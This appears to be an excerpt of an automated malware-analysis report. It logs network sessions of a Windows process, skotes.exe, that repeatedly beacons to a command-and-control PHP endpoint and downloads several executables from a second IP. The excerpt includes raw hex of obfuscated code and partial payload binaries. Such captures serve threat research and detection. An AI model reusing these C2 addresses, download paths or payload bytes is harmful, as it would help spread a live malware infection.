Dec 12, 2024 14:26:24.551031113 CET	1236	IN	Data Raw: e1 03 21 d2 b4 52 66 f7 d7 80 f2 23 20 e8 66 d3 c1 20 de 66 49 d2 cb 20 d7 86 c9 f9 66 f7 c2 4e 74 86 cd 66 81 cf 5b 0d 80 c6 2f 66 d3 c0 d0 e6 d3 ce 20 dd 30 e2 46 80 d6 2c 66 81 fa 34 4c 80 cb 00 c0 e2 05 66 81 c3 21 0c 66 81 e1 99 06 66 81 f1 Data Ascii: !Rf# f fI fNtf[/f 0F,f4Lf!ff8gf9fA0vffR}f@1j<f!Yf%omfaf)fZ![fS9(ffA8ff9fffQfIf)+f>!
Dec 12, 2024 14:26:24.551042080 CET	1236	IN	Data Raw: 8f 76 66 85 c3 66 21 d9 66 81 db fa 68 66 81 db c8 59 d3 cf 66 81 e7 1f 19 4b 66 29 db f9 5f 5e 5b 5a 59 58 e8 f6 c9 00 00 e8 bf cc 00 00 e8 91 d0 00 00 e8 fe d5 00 00 e8 f3 d9 00 00 e8 2c df 00 00 e8 ea e3 00 00 e8 cc e6 00 00 51 66 f7 d1 52 b2 Data Ascii: vff!fhfYfKf)_^[ZYX,QfR5Pf9VfqWK$2dQS199f%Of[Qf9f:g(3ff/lcfh8)fP-f
Dec 12, 2024 14:26:24.551054001 CET	1236	IN	Data Raw: e9 66 85 c2 43 90 c0 c4 05 66 d3 c7 85 f7 66 89 c9 c1 c7 05 84 e0 19 d7 90 66 31 fe 40 d0 e6 66 d3 c1 10 e7 f9 08 e6 66 81 c6 10 45 30 fd 66 85 d6 66 85 c2 66 87 fb 81 e9 db fa 69 68 c0 e2 06 90 66 19 d3 90 87 cb f7 d3 f9 66 89 c3 80 c6 3a 90 66 Data Ascii: fCfff1@ffE0fffihff:f&f)f<UoS!ffU6ywfs4[Sf1ffFOfwf0wfff)jfCff!gfbfKSBfEH0fFfN P
Dec 12, 2024 14:26:24.551065922 CET	1236	IN	Data Raw: 49 56 53 21 de 52 80 d2 62 80 f7 5e 50 66 d3 c0 66 11 c7 f6 d2 66 01 d1 58 5a 5b 5e 59 5f 52 d0 c2 57 50 89 c7 56 11 c6 53 fe c3 51 66 87 d9 f6 c1 50 86 cf 80 d5 65 66 d3 e7 81 da e8 35 7c 36 b9 03 33 a5 7c 66 85 ff 59 5b 5e 58 5f 5a e8 64 3e 01 Data Ascii: IVS!Rb^PfffXZ[^Y_RWPVSQfPef5\|63\|fY[^X_Zd>WQY_Q@]WYTAPQfYXSQ1QE;fAR1VWf9f58*)FfNfAfIff!"gmWP9$Sf~fff9jf10f
Dec 12, 2024 14:26:24.551273108 CET	1236	IN	Data Raw: e6 08 84 c8 66 81 db 39 40 d3 c9 f9 09 d8 81 ea e5 5d 3f 1b 90 5a 5f 58 5e 5b 59 e8 be 4e 01 00 57 47 56 66 46 f7 d6 52 80 d2 7e 51 d3 ee 81 f1 e2 1b b7 6f 66 81 ef bc 6b 50 66 d3 c8 66 29 c0 4f b5 39 66 d3 c7 53 c1 e3 07 d3 e6 f6 c1 25 66 43 21 Data Ascii: f9@]?Z_X^[YNWGVfFR~QofkPff)O9fS%fC!#Z9fhjJPffff1fGAf,.fQ+fsf1pf?fnfff\Cf;Pff]fV(f90ff{fF
Dec 12, 2024 14:26:24.551290035 CET	1236	IN	Data Raw: 49 66 85 d8 28 d7 81 f6 5d 80 cc 0b 66 f7 d3 66 d3 c9 66 39 d7 f9 f9 fe c6 66 31 fe 66 4e c1 e3 06 86 e1 f7 d3 c0 ef 02 11 c0 d2 e8 66 c1 e7 05 c1 c3 07 f7 d7 09 fe 08 cb f9 66 48 66 39 fa 81 ce 39 89 0e 72 c0 c4 05 66 19 c7 86 ce 66 d3 c6 d2 c7 Data Ascii: If(]fff9f1fNffHf99rfffAf{S[[[opa_fffWfU_X^Y[Z~PSY\aQVffPWfTcRS( !)fy9lI>[Z_X^YVf
Dec 12, 2024 14:26:24.551301003 CET	556	IN	Data Raw: 35 4f 66 c1 c9 07 81 eb e6 f2 ae 0d f9 18 cf d3 ef 81 ff 97 63 57 46 d0 ec 48 d2 c9 28 de 81 f6 4c 3a 1d 44 d3 cf 00 cb d2 cf 89 f0 f9 f6 d5 39 c7 84 c6 81 fb db d9 cd 2f 66 89 fa f9 66 81 cb 3b 25 08 e3 66 19 f2 19 f9 81 ff 8a cb c2 13 90 fe cf Data Ascii: 5OfcWFH(L:D9/ff;%ffIffHff1f9ffCf-/U_1F;^lftEW)fBfC^)fJBzffFfFf
Dec 12, 2024 14:26:24.672027111 CET	1236	IN	Data Raw: 80 e9 7f 66 81 d2 47 2b 66 81 c1 49 73 d2 e7 66 46 66 c1 c0 08 86 ca fe c4 d2 ed 86 e5 09 fe 49 80 fe 27 85 f8 05 04 53 d1 11 66 f7 d7 41 f6 d7 81 e7 2c 76 e2 70 66 d3 ef c1 c7 07 89 f8 66 c1 cf 02 87 f2 66 d3 c6 66 41 f6 d1 66 29 f8 90 80 fd 29 Data Ascii: fG+fIsfFfI'SfA,vpffffAf))ff/xfiU)Y1ff]ff!f>%h@r_X^ZY[fRPf=y6QfIfVfWf5QGSEIK )f}f(fV-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49832	185.215.113.43	80	8108	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 14:26:33.785160065 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 34 33 36 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014365001&unit=246122658369
Dec 12, 2024 14:26:35.108839035 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 13:26:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49837	31.41.244.11	80	8108	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 14:26:35.231985092 CET	62	OUT	GET /files/unique2/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 12, 2024 14:26:36.554584980 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 13:26:36 GMT Content-Type: application/octet-stream Content-Length: 1967616 Last-Modified: Thu, 12 Dec 2024 12:10:59 GMT Connection: keep-alive ETag: "675ad2d3-1e0600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 21 4a f8 9d 40 24 ab 9d 40 24 ab 9d 40 24 ab 83 12 a0 ab 81 40 24 ab 83 12 b1 ab 89 40 24 ab 83 12 a7 ab c5 40 24 ab ba 86 5f ab 94 40 24 ab 9d 40 25 ab f6 40 24 ab 83 12 ae ab 9c 40 24 ab 83 12 b0 ab 9c 40 24 ab 83 12 b5 ab 9c 40 24 ab 52 69 63 68 9d 40 24 ab 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 0c de dd 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 d4 02 00 00 b0 01 00 00 00 00 00 00 a0 86 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 d0 86 00 00 04 00 00 49 ce 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$!J@$@$@$@$@$@$_@$@%@$@$@$@$Rich@$PELd@IZBn@h! @T@.rsrch!@d@.idata B@ ) B@kknplrjhk@opkpvwgr@.taggant0"@
Dec 12, 2024 14:26:36.554616928 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 12, 2024 14:26:36.554637909 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 12, 2024 14:26:36.554692030 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 12, 2024 14:26:36.554779053 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 12, 2024 14:26:36.554794073 CET	672	IN	Data Raw: db 65 f7 c2 3b 05 a7 87 46 82 12 b7 6a c7 fa e5 32 e6 5b dd b7 ab b3 b5 7c 01 91 ef 20 13 8f 3f 75 32 77 e2 f9 61 2f f9 24 ad 5d 05 b3 54 85 8f fc 85 ae 28 24 1e a2 eb ef f7 19 e5 c2 42 03 34 ce 13 e9 93 40 d9 26 08 7d 0d bd a5 f6 47 5e aa d0 93 Data Ascii: e;Fj2[\| ?u2wa/$]T($B4@&}G^gM,H`slqC=L%br,WiBD,;9=m8en+pQ,to+CW*jF(8cg4An9&gkViI")m>r@
Dec 12, 2024 14:26:36.554877043 CET	1236	IN	Data Raw: c2 cb 0a 04 12 63 3c 90 c3 3b 78 17 ea 9f d2 26 50 23 3e d7 45 d9 6e 1a b5 54 5b ad bc 05 22 32 c8 0c 0e 8e c2 20 27 46 98 02 0f 22 80 2c bc 7f 85 1d 7e 27 98 97 71 1b 8c 1c d6 87 85 a7 3f b6 e5 2c 2c 33 4c 71 46 b6 50 06 b4 15 95 20 78 ca d3 10 Data Ascii: c<;x&P#>EnT["2 'F",~'q?,,3LqFP xu-=pJt$D@<q_EGR<qKN;ASn<&_mw[_dAp*V"sQos+MMz)./,{'!3]z~-s5 )!JlY$E
Dec 12, 2024 14:26:36.554888010 CET	224	IN	Data Raw: 73 db 1a 19 dd ab 0c 88 d9 0d 0f 84 d7 d4 83 b7 13 c1 0f 0c ce 8f 89 b7 5c 3b 1f 97 3e 87 1f f0 da 6b 24 20 b1 e4 ff 90 60 30 3b 43 07 2b 31 91 28 c4 eb 9c d0 7a f7 29 99 4e b1 da ca fb 9d 1c 2b fc a9 48 1b a7 a6 8d 00 12 28 48 99 4b 36 45 d5 8a Data Ascii: s\;>k$ `0;C+1(z)N+H(HK6EWM Z'dh//F(0H?b,*T=zGx+@s,6c=U/:"i:VMzM^;.i(x2
Dec 12, 2024 14:26:36.554898977 CET	1236	IN	Data Raw: 0a 77 a3 4d b0 7e 10 c0 97 16 1e 7b b0 0a 08 04 de 85 16 10 9b 5c 8d 88 c6 2c 5a 06 b0 2f 47 27 6e c4 62 99 f9 0f 9a a8 61 92 2f 92 9f f7 99 b6 b2 a1 62 59 23 1c 46 80 20 b9 4f b2 6c ef 76 cb 54 03 55 af 59 62 2a 7d 76 07 70 48 98 2b fb ec 98 0a Data Ascii: wM~{\,Z/G'nba/bY#F OlvTUYb}vpH+>hb/8[,+!8;o?&ru4#!@w$I?(L&#*~U+Y0Gfb?uPbzSK?0jF0e9,{{T35(j JC-3?$~Dl;;
Dec 12, 2024 14:26:36.554912090 CET	224	IN	Data Raw: 6e fc 10 af 4c 62 9b 9b 04 88 9b a8 2c 33 4d 93 d6 05 44 9c 71 2f 7f e0 73 c0 6b 53 7e 55 10 95 6c 0d 70 d1 29 fd 82 d1 5b cc 0c 05 9e 20 f3 dd 70 6f 1b 34 77 03 aa 1f f8 79 7f d6 22 73 39 cc bb b9 3f 18 08 1e 0f bb 1f 29 0c aa b9 4f 4f 6e 8a c8 Data Ascii: nLb,3MDq/skS~Ulp)[ po4wy"s9?)OOne^j^9}@}K,7xt~GQ&3Fom57S]NEukt\W>bROfC'%U%f=P4bs1}
Dec 12, 2024 14:26:36.674726009 CET	1236	IN	Data Raw: fc 42 24 80 06 cc 1a 04 d6 47 66 92 c0 f9 7e e5 ed 0b f0 8c 4d 43 ca 3b 86 d4 0b 40 c1 a3 7c d9 81 db eb bb 1f b6 c8 13 65 5b 69 4f fa 2e 5f 7f 4f 3d 81 6a b0 79 ea 04 db a6 fd 07 81 43 22 22 f5 9e 90 d4 c4 9e 12 b3 49 2b 2b 87 25 fd 9b 99 16 fd Data Ascii: B$Gf~MC;@\|e[iO._O=jyC""I++%~2/>=w{t3!!wx(V4F; 4_lK&~gK;q=L}j GHxtGCpRz=KP/\cC?>f"RU`x63aV{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49852	185.215.113.43	80	8108	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 14:26:43.328602076 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 34 33 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014398001&unit=246122658369
Dec 12, 2024 14:26:44.618964911 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 13:26:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49860	185.215.113.43	80	8108	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 14:26:48.036746025 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 34 34 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014402001&unit=246122658369
Dec 12, 2024 14:26:49.332098961 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 13:26:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49865	31.41.244.11	80	8108	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 14:26:49.571099997 CET	61	OUT	GET /files/encoxx/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 12, 2024 14:26:50.865148067 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 13:26:50 GMT Content-Type: application/octet-stream Content-Length: 393728 Last-Modified: Thu, 12 Dec 2024 07:55:00 GMT Connection: keep-alive ETag: "675a96d4-60200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d8 27 f3 e3 9c 46 9d b0 9c 46 9d b0 9c 46 9d b0 82 14 08 b0 85 46 9d b0 82 14 1e b0 e0 46 9d b0 82 14 19 b0 b6 46 9d b0 bb 80 e6 b0 95 46 9d b0 9c 46 9c b0 18 46 9d b0 82 14 17 b0 9d 46 9d b0 82 14 09 b0 9d 46 9d b0 82 14 0c b0 9d 46 9d b0 52 69 63 68 9c 46 9d b0 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0c 66 a7 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 62 05 00 00 04 01 00 00 00 00 00 8f 51 00 00 00 10 00 00 00 80 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 b0 24 00 00 04 00 00 d1 cf 06 00 02 00 00 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$'FFFFFFFFFFFFRichFPELfebQ@$8gd0:-@.textab `.data`f@.rsrcz0<@@
Dec 12, 2024 14:26:50.865214109 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 6d 05 00 00 00 00 00 88 69 05 00 9c 69 05 00 b4 69 05 00 c8 69 05 00 e2 69 05 Data Ascii: miiiiijj*jDjXjnjjjjjjjjk k6kRkhkpikkkkkkkll(l>lRlblvllllllll
Dec 12, 2024 14:26:50.865226030 CET	1236	IN	Data Raw: 69 6b 65 6c 79 20 74 68 65 20 72 65 73 75 6c 74 20 6f 66 20 63 61 6c 6c 69 6e 67 20 61 6e 20 4d 53 49 4c 2d 63 6f 6d 70 69 6c 65 64 20 28 2f 63 6c 72 29 20 66 75 6e 63 74 69 6f 6e 20 66 72 6f 6d 20 61 20 6e 61 74 69 76 65 20 63 6f 6e 73 74 72 75 Data Ascii: ikely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.R6032- not enough space for locale informationR6031- Attempt to initialize the CRT more than once.This indicates a bug in y
Dec 12, 2024 14:26:50.865403891 CET	1236	IN	Data Raw: 65 50 6f 69 6e 74 65 72 00 00 00 4b 00 45 00 52 00 4e 00 45 00 4c 00 33 00 32 00 2e 00 44 00 4c 00 4c 00 00 00 00 00 44 65 63 6f 64 65 50 6f 69 6e 74 65 72 00 00 00 46 6c 73 46 72 65 65 00 46 6c 73 53 65 74 56 61 6c 75 65 00 46 6c 73 47 65 74 56 Data Ascii: ePointerKERNEL32.DLLDecodePointerFlsFreeFlsSetValueFlsGetValueFlsAlloc.@@@Unknown exception/@@csm @z@z@ !"#$%&'()*+,-./0123456789:;<
Dec 12, 2024 14:26:50.865416050 CET	896	IN	Data Raw: 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00 10 00 10 00 10 00 10 00 10 00 10 00 82 00 82 00 82 00 82 00 82 00 82 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00 10 Data Ascii:
Dec 12, 2024 14:26:50.865437984 CET	1236	IN	Data Raw: 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~
Dec 12, 2024 14:26:50.865525007 CET	1236	IN	Data Raw: 27 00 00 60 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 00 60 76 65 63 74 6f 72 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 Data Ascii: '`vector vbase copy constructor iterator'`vector copy constructor iterator'`dynamic atexit destructor for '`dynamic initializer for '`eh vector vbase copy constructor iterator'`eh vector copy constructor iterator'`managed vec
Dec 12, 2024 14:26:50.865535975 CET	448	IN	Data Raw: 00 00 00 60 2b 40 00 58 2b 40 00 4c 2b 40 00 40 2b 40 00 34 2b 40 00 28 2b 40 00 1c 2b 40 00 14 2b 40 00 08 2b 40 00 fc 2a 40 00 aa 1a 40 00 40 26 40 00 24 26 40 00 10 26 40 00 f0 25 40 00 d4 25 40 00 f4 2a 40 00 ec 2a 40 00 a8 1a 40 00 e8 2a 40 Data Ascii: `+@X+@L+@@+@4+@(+@+@+@+@@@@&@$&@&@%@%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\|@x@t@p@l@h@d@`@\@X@T@P@L@@@4@,@
Dec 12, 2024 14:26:50.865654945 CET	1236	IN	Data Raw: 00 00 00 43 4f 4e 4f 55 54 24 00 31 23 51 4e 41 4e 00 00 31 23 49 4e 46 00 00 00 31 23 49 4e 44 00 00 00 31 23 53 4e 41 4e 00 00 62 61 64 20 61 6c 6c 6f 63 61 74 69 6f 6e 00 00 6c 61 74 69 78 6f 77 61 6d 65 67 6f 6e 6f 6d 61 66 6f 63 75 62 61 67 Data Ascii: CONOUT$1#QNAN1#INF1#IND1#SNANbad allocationlatixowamegonomafocubagebekernel32.dllkernel32.dll00HE
Dec 12, 2024 14:26:50.865668058 CET	1236	IN	Data Raw: 75 f8 83 3d ec 0b 46 00 0c 89 75 e8 75 18 8d 4d d0 51 6a 00 6a 00 6a 00 ff 15 b4 10 40 00 6a 00 ff 15 a0 10 40 00 8b d6 c1 ea 05 89 55 f8 8b 45 e0 01 45 f8 8b 4d ec 8b c6 c1 e0 04 03 45 d4 8d 14 31 33 c2 33 45 f8 89 45 ec 8b 45 ec 29 45 f4 81 c1 Data Ascii: u=FuuMQjjj@j@UEEME133EEE)EGamM_EMU_^P[]UQF\|FSVWv`=\@D@E=FYu4jjjjjjjjj(@jj<@jjjj@VP
Dec 12, 2024 14:26:50.985084057 CET	1236	IN	Data Raw: c7 85 88 fe ff ff fc 69 50 23 c7 45 c4 54 f7 48 4f c7 85 4c ff ff ff c0 99 a9 2e c7 85 90 fe ff ff 08 fa ba 2b c7 45 f0 f8 7b 12 29 c7 45 a8 06 81 b9 04 c7 45 8c 22 ca da 48 c7 85 60 fe ff ff 18 f1 c2 6a c7 85 28 ff ff ff 9c df f9 37 c7 85 30 ff Data Ascii: iP#ETHOL.+E{)EE"H`j(709B^E]E0Zn;l^WhJ8VEd52S0at D3TAW*@OBE>oLLH'ED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49871	185.215.113.43	80	8108	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 14:26:55.479202032 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 34 34 30 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014403001&unit=246122658369
Dec 12, 2024 14:26:56.752343893 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 13:26:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49878	31.41.244.11	80	8108	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 14:26:56.941709042 CET	62	OUT	GET /files/hell911/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 12, 2024 14:26:58.231163025 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 13:26:58 GMT Content-Type: application/octet-stream Content-Length: 2660864 Last-Modified: Tue, 10 Dec 2024 07:14:44 GMT Connection: keep-alive ETag: "6757ea64-289a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ed d3 a7 12 a9 b2 c9 41 a9 b2 c9 41 a9 b2 c9 41 e2 ca ca 40 a3 b2 c9 41 e2 ca cc 40 27 b2 c9 41 e2 ca cd 40 bd b2 c9 41 b8 34 ca 40 bd b2 c9 41 b8 34 cd 40 bb b2 c9 41 b8 34 cc 40 8f b2 c9 41 e2 ca c8 40 aa b2 c9 41 a9 b2 c8 41 fa b2 c9 41 2a 34 c1 40 a8 b2 c9 41 2a 34 36 41 a8 b2 c9 41 2a 34 cb 40 a8 b2 c9 41 52 69 63 68 a9 b2 c9 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 85 59 56 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 2a 00 b0 24 00 00 f2 03 00 00 00 00 00 c9 01 24 00 00 10 00 00 00 c0 24 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$AAA@A@'A@A4@A4@A4@A@AAA4@A46AA4@ARichAPELYVg$$$@(dm)@%(@%%@(%p%@$.text2$$ `.rdata^$`$@@.data %%@.rsrc%@%%@@.reloc@((@B
Dec 12, 2024 14:26:58.231201887 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 83 ec 48 53 8b 5d 14 8b c1 56 8b 75 18 0f bf cb 81 c6 2a 3f 18 59 Data Ascii: UHS]Vu?YM}6/MWUEEKEE?YEbE,EQTEnxEELsE1};EzE.EE6/u}uTE7K+E\mfvAE1};
Dec 12, 2024 14:26:58.231215954 CET	1236	IN	Data Raw: 08 00 00 a3 e0 28 65 00 b8 d4 4c c6 73 d3 e8 33 c9 89 45 e8 a0 ec 28 65 00 04 11 c7 45 e0 00 00 00 00 88 45 ff 0f b6 c3 66 03 45 10 81 c6 0a 6d 29 1b 0f b7 c0 c7 45 f8 ba 61 00 00 89 45 c8 89 75 18 e9 fc 03 00 00 81 fa d4 4c c6 73 0f 86 85 00 00 Data Ascii: (eLs3E(eEEfEm)EaEuLsEP=]gME}5-lU (eECz(eE+EM(eEiLsEMEU iQTEkuU(eY48((eQTm
Dec 12, 2024 14:26:58.231283903 CET	1236	IN	Data Raw: c2 1c 00 0f b6 45 fe 66 39 45 f8 75 3e 2b 75 d4 a1 e0 28 65 00 2b c2 5f 8d 8e 82 41 51 fa d3 e8 8b 4d 0c 80 e9 2d a3 e0 28 65 00 0f b6 05 ca 28 65 00 0f b6 c9 0f af c8 b8 6f c9 00 00 5e 5b 88 0d ca 28 65 00 8b e5 5d c2 1c 00 3b 55 b8 75 2a 8b 4d Data Ascii: Ef9Eu>+u(e+_AQM-(e(eo^[(e];Uu*M+M(e(eof=(e_^[]:]ufMof=(e_^[]uu;u+5(ef(eE_(eo^[]E;~/MMf=(e(eM
